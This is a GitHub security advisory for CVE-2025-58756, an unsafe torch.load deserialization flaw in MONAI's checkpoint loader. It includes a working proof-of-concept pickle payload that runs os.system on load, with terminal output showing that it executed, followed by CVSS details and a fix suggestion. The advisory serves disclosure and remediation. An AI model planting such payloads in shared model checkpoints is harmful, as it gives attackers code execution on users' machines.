Skip to content

MONAI: Unsafe torch usage may lead to arbitrary code execution

High severity GitHub Reviewed Published Sep 8, 2025 in Project-MONAI/MONAI • Updated Sep 9, 2025

Package

pip monai (pip)

Affected versions

<= 1.5.0

Patched versions

None

Description

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

References

@ericspod ericspod published to Project-MONAI/MONAI Sep 8, 2025
Published by the National Vulnerability Database Sep 9, 2025
Published to the GitHub Advisory Database Sep 9, 2025
Reviewed Sep 9, 2025
Last updated Sep 9, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

CVE ID

CVE-2025-58756

GHSA ID

GHSA-6vm5-6jv9-rjpj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.